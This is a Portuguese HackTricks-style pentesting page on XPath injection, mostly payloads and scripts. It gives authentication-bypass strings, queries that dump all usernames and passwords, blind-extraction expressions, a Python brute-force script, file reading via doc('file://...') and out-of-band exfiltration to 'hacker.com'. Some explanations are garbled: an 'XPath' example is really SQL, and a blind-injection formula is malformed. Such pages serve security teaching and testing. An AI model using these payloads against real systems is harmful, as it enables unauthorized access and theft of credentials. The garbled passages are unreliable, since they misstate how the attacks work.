# Injeção de XPATH
☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥
Seleciona o primeiro elemento book que é filho do elemento bookstore.Observação: No IE 5,6,7,8,9 o primeiro nó é[0], mas de acordo com a W3C, é [1]. Para resolver esse problema no IE, defina a SelectionLanguage como XPath:
Em JavaScript: xml.setProperty("SelectionLanguage","XPath");
|
| /bookstore/book\[last()] | Seleciona o último elemento book que é filho do elemento bookstore |
| /bookstore/book\[last()-1] | Seleciona o penúltimo elemento book que é filho do elemento bookstore |
| /bookstore/book\[position()<3] | Seleciona os dois primeiros elementos book que são filhos do elemento bookstore |
| //title\[@lang] | Seleciona todos os elementos title que possuem um atributo chamado lang |
| //title\[@lang='en'] | Seleciona todos os elementos title que possuem um atributo "lang" com um valor de "en" |
| /bookstore/book\[price>35.00] | Seleciona todos os elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00 |
| /bookstore/book\[price>35.00]/title | Seleciona todos os elementos title dos elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00 |
### Nós Desconhecidos
| Coringa | Descrição |
| -------- | ---------------------------- |
| \* | Corresponde a qualquer nó de elemento |
| @\* | Corresponde a qualquer nó de atributo |
| node() | Corresponde a qualquer nó de qualquer tipo |
### **Exemplos:**
| Expressão de Caminho | Resultado |
| -------------------- | ------------------------------------------------------------------------ |
| /livraria/\* | Seleciona todos os nós de elementos filhos do elemento livraria |
| //\* | Seleciona todos os elementos no documento |
| //titulo\[@\*] | Seleciona todos os elementos de título que possuem pelo menos um atributo de qualquer tipo |
pepe
peponcio
admin
mark
m12345
regular
fino
fino2
regular
```
### Acessar as informações
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query's logic and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML databases.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional information that was not intended to be disclosed.
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
```xml
//users/user[name='John']
```
By injecting a malicious expression, such as `' or 1=1 or ''='`, the attacker can modify the query to retrieve all user information:
```xml
//users/user[name='John' or 1=1 or ''='']
```
This modified query will return all user information, regardless of the input provided.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized queries or prepared statements can help protect against XPath Injection attacks. These techniques ensure that user input is treated as data and not as part of the query logic, preventing attackers from modifying the query structure.
By understanding and mitigating XPath Injection vulnerabilities, developers can protect their web applications from unauthorized access to sensitive information.
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identificar e roubar o esquema
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query to retrieve sensitive information or perform unauthorized actions.
To identify and steal the schema using XPath Injection, follow these steps:
1. **Identify the vulnerable parameter**: Start by identifying the input parameter that is used in the XPath query. This can usually be found in the URL, form fields, or cookies.
2. **Determine the XPath query structure**: Analyze the XPath query structure to understand how it retrieves data from the XML database. This will help you craft a malicious query to steal the schema.
3. **Craft a malicious XPath query**: Modify the input parameter value to inject a malicious XPath query. The goal is to retrieve the schema information from the XML database.
4. **Observe the response**: Submit the modified request and observe the response. If the response contains the schema information, you have successfully stolen the schema.
By stealing the schema, an attacker can gain valuable insights into the structure and organization of the XML database. This information can be used to further exploit the system and extract sensitive data.
It is important to note that XPath Injection can have serious consequences, including unauthorized access to sensitive information and potential data breaches. Therefore, it is crucial for developers to implement proper input validation and sanitization techniques to prevent XPath Injection attacks.
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag ``is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Bypass de Autenticação
### **Exemplo de consultas:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **Bypassando OR em usuário e senha (mesmo valor em ambos)**
Quando um aplicativo web utiliza a técnica de XPath para consultar um banco de dados XML, é possível explorar uma vulnerabilidade conhecida como injeção de XPath. Essa vulnerabilidade ocorre quando um invasor consegue inserir código XPath malicioso em um campo de entrada, levando o aplicativo a executar consultas não intencionais no banco de dados.
Uma técnica comum de injeção de XPath é a utilização do operador OR para contornar a verificação de usuário e senha. Normalmente, o aplicativo verifica se o valor inserido no campo de usuário é igual ao valor inserido no campo de senha. No entanto, ao injetar uma expressão XPath que utiliza o operador OR, é possível fazer com que o aplicativo aceite qualquer valor inserido, desde que o usuário e a senha sejam iguais.
Aqui está um exemplo de como explorar essa vulnerabilidade:
```xml
admin' or '1'='1
admin' or '1'='1
```
Nesse exemplo, estamos inserindo o valor `'admin' or '1'='1'` tanto no campo de usuário quanto no campo de senha. Como a expressão `'1'='1'` é sempre verdadeira, o aplicativo irá autenticar o usuário, independentemente do valor inserido.
É importante ressaltar que a injeção de XPath pode ter consequências graves, como a obtenção de acesso não autorizado a informações sensíveis ou a execução de comandos maliciosos no servidor. Portanto, é fundamental que os desenvolvedores implementem medidas de segurança adequadas para mitigar essa vulnerabilidade, como a validação e sanitização correta dos dados de entrada.
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **Explorando a injeção de nulo**
A injeção de nulo é uma técnica comum usada para explorar vulnerabilidades em aplicativos da web que usam consultas XPath. Essa técnica envolve a manipulação de parâmetros de entrada para inserir uma sequência de caracteres nula (NULL) na consulta XPath, o que pode levar a resultados inesperados ou até mesmo à execução de comandos maliciosos.
#### **Identificando uma vulnerabilidade de injeção de nulo**
Para identificar uma vulnerabilidade de injeção de nulo, você precisa encontrar um ponto de entrada onde os dados do usuário são usados em uma consulta XPath. Isso pode ser um campo de entrada em um formulário da web ou um parâmetro em uma URL.
Uma vez identificado o ponto de entrada, você pode começar a testar a vulnerabilidade inserindo uma sequência de caracteres nula (NULL) como parte dos dados de entrada. Se a aplicação retornar um resultado inesperado ou exibir um comportamento anormal, é provável que haja uma vulnerabilidade de injeção de nulo.
#### **Explorando a vulnerabilidade de injeção de nulo**
Uma vez identificada a vulnerabilidade de injeção de nulo, você pode começar a explorá-la para obter informações sensíveis ou executar comandos maliciosos. Aqui estão algumas técnicas comuns usadas para explorar essa vulnerabilidade:
1. **Obtenção de informações sensíveis**: você pode usar a injeção de nulo para extrair informações sensíveis do aplicativo, como nomes de usuário, senhas ou dados confidenciais.
2. **Execução de comandos maliciosos**: ao explorar a injeção de nulo, você pode inserir comandos maliciosos na consulta XPath para executar ações indesejadas no servidor, como excluir arquivos ou obter acesso não autorizado.
#### **Prevenção de injeção de nulo**
Para prevenir a injeção de nulo em aplicativos da web, é importante seguir as práticas recomendadas de segurança, como:
- **Validação de entrada**: sempre valide e sanitize os dados de entrada antes de usá-los em consultas XPath.
- **Uso de parâmetros preparados**: em vez de concatenar diretamente os dados de entrada em uma consulta XPath, use parâmetros preparados para evitar a injeção de nulo.
- **Restrição de privilégios**: limite os privilégios do usuário do aplicativo para minimizar o impacto de uma possível injeção de nulo.
Ao implementar essas práticas de segurança, você pode reduzir significativamente o risco de uma vulnerabilidade de injeção de nulo em seus aplicativos da web.
```
Username: ' or 1]%00
```
### **Duplo OU no nome de usuário ou na senha** (é válido com apenas 1 campo vulnerável)
IMPORTANTE: Observe que a **"e" é a primeira operação realizada**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## Extração de strings
A saída contém strings e o usuário pode manipular os valores para realizar buscas:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
### **Exploração Cega**
### **Obter o comprimento de um valor e extraí-lo por meio de comparações:**
A injeção de XPath cega é uma técnica usada para explorar vulnerabilidades de injeção de XPath em um aplicativo da web. Com essa técnica, é possível obter o comprimento de um valor específico e extraí-lo por meio de comparações.
Para realizar essa exploração, você pode usar expressões XPath que retornam um resultado booleano com base em uma comparação. Por exemplo, você pode usar a expressão `substring(string-length(/path/to/value), 1, 1) = 'a'` para verificar se o primeiro caractere do valor é igual a 'a'. Se a expressão retornar verdadeiro, significa que o primeiro caractere é 'a'. Caso contrário, você pode tentar com outros caracteres até encontrar o correto.
Através desse processo de comparação, é possível determinar o comprimento do valor, caractere por caractere. Você pode repetir esse processo para extrair todo o valor desejado.
É importante ressaltar que a injeção de XPath cega deve ser realizada com cautela, pois pode causar danos ao aplicativo da web. Portanto, é recomendável obter permissão legal antes de realizar qualquer teste de penetração.
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Exemplo em Python**
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Ler arquivo
A injeção de XPath é uma técnica de ataque que permite que um invasor leia arquivos arbitrários no servidor. Essa técnica é possível quando um aplicativo web não valida corretamente os dados de entrada fornecidos pelo usuário antes de construir uma consulta XPath.
#### Como funciona a injeção de XPath?
A injeção de XPath ocorre quando um invasor manipula os dados de entrada para criar uma consulta XPath maliciosa. Essa consulta é então enviada ao servidor, que a executa sem validar ou sanitizar os dados de entrada. Como resultado, o invasor pode obter acesso a informações confidenciais armazenadas em arquivos no servidor.
#### Exemplo de injeção de XPath
Considere o seguinte trecho de código em um aplicativo web vulnerável:
```python
username = request.getParameter("username")
query = "SELECT * FROM users WHERE username = '" + username + "'"
result = executeQuery(query)
```
Nesse exemplo, o valor fornecido pelo usuário para o parâmetro "username" é diretamente concatenado à consulta XPath sem validação adequada. Um invasor pode explorar essa vulnerabilidade fornecendo um valor malicioso para o parâmetro "username" e manipulando a consulta XPath para ler arquivos arbitrários.
Por exemplo, se o invasor fornecer o seguinte valor para o parâmetro "username":
```
' or 1=1 or username='admin' or 'a'='a
```
A consulta XPath resultante será:
```
SELECT * FROM users WHERE username = '' or 1=1 or username='admin' or 'a'='a'
```
Essa consulta retornará todos os registros da tabela "users", permitindo que o invasor acesse informações confidenciais.
#### Prevenção de injeção de XPath
Para prevenir a injeção de XPath, é importante validar e sanitizar corretamente os dados de entrada fornecidos pelo usuário. Isso pode ser feito utilizando consultas parametrizadas ou funções de escape específicas da linguagem de programação utilizada.
Além disso, é recomendável restringir as permissões de acesso aos arquivos no servidor e implementar mecanismos de controle de acesso adequados para proteger informações confidenciais.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## Exploração OOB
Out-of-Band (OOB) é uma técnica de exploração usada em ataques de injeção XPath. Nesse tipo de ataque, o invasor injeta código malicioso em uma aplicação web que utiliza XPath para consultar um banco de dados XML. A injeção XPath ocorre quando o invasor manipula os parâmetros de entrada da consulta XPath para obter informações sensíveis ou executar comandos indesejados.
A exploração OOB é uma variação da injeção XPath que permite ao invasor extrair dados do servidor web por meio de solicitações HTTP externas. Isso é possível porque o servidor web pode ser configurado para fazer solicitações externas para recuperar dados de um recurso remoto, como um servidor DNS ou um servidor de arquivos.
Para explorar essa vulnerabilidade, o invasor injeta código XPath malicioso que faz com que o servidor web faça uma solicitação HTTP para um servidor controlado pelo invasor. O servidor controlado pelo invasor registra as solicitações recebidas e, assim, o invasor pode extrair informações sensíveis do servidor web.
A exploração OOB pode ser realizada de várias maneiras, como:
- Injeção de código XPath malicioso que faz com que o servidor web faça uma solicitação HTTP para um servidor controlado pelo invasor.
- Manipulação dos parâmetros de entrada da consulta XPath para obter informações sensíveis.
- Execução de comandos indesejados no servidor web.
Para se proteger contra ataques de injeção XPath e exploração OOB, é importante validar e sanitizar corretamente os parâmetros de entrada da consulta XPath. Além disso, é recomendável restringir as permissões do servidor web para evitar que ele faça solicitações externas não autorizadas.
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Ferramenta automática
{% embed url="https://xcat.readthedocs.io/" %}
## Referências
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥
 (3).png)